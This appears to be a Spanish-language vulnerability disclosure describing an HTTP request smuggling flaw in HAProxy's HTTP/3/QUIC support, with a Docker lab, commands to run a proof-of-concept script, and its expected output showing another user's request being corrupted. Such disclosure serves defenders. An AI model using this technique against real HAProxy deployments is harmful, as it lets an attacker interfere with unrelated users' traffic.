
Un paquete QUIC de cero bytes es suficiente para desincronizar el grupo de conexiones de backend de HAProxy y colar peticiones HTTP entre usuarios no relacionados, incluso usuarios en un protocolo de frontend completamente diferente.
Publicación completa aquí : https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
Una vulnerabilidad en la implementación HTTP/3 de HAProxy permite a un atacante enviar una solicitud HTTP con una cabecera Content-Length que no coincide con el tamaño real del cuerpo. HAProxy reenvía esta solicitud malformada al backend a través de HTTP/1.1 con el Content-Length declarado pero cero bytes de cuerpo. Cuando el backend envía una respuesta temprana (por ejemplo, redirección 301) y drena el cuerpo pendiente de la conexión TCP, consume bytes pertenecientes a la siguiente solicitud HTTP en esa conexión, que puede originarse de un usuario diferente.
Esto resulta en contrabando de solicitudes HTTP entre usuarios a través del grupo de conexiones del backend de HAProxy.
Afectado: HAProxy con soporte QUIC/H3 (USE_QUIC=1). Probado en HAProxy 3.0.18.
Configuración requerida: http-reuse always (no predeterminada, pero común en producción)
Docker Compose con 3 servicios:
http-reuse always)autoindex on en el directorio /photos, /status devuelve 200# 1. Iniciar el laboratorio (la compilación de HAProxy tarda ~10 min la primera vez)
cd poc/
docker compose up -d --build
# 2. Ejecutar el PoC en modo continuo
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. Desde un navegador, navegar a https://<host>:10002/status
# (aceptar el certificado autofirmado, usar --ignore-certificate-errors en Chrome)
# Actualizar repetidamente. ~50% de las respuestas serán 400 Bad Request.
# 4. Detener el PoC (Ctrl+C). Todas las respuestas del navegador vuelven a la normalidad (200).
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
Salida esperada:
[1] Enviando solicitud de envenenamiento (H3/QUIC)...
-> 301 recibido. Conexión del backend agrupada con drenaje de cuerpo pendiente.
[2] Esperando 0.5s para que HAProxy agrupe la conexión...
[3] Enviando solicitud GET /status de la víctima desde conexión QUIC SEPARADA...
-> Respuesta: HTTP 400
[!] CONTRABANDO CONFIRMADO
[!] La víctima en conexión separada obtuvo 400 en lugar de 200
[!] El backend interpretó la solicitud de la víctima como cuerpo del POST de envenenamiento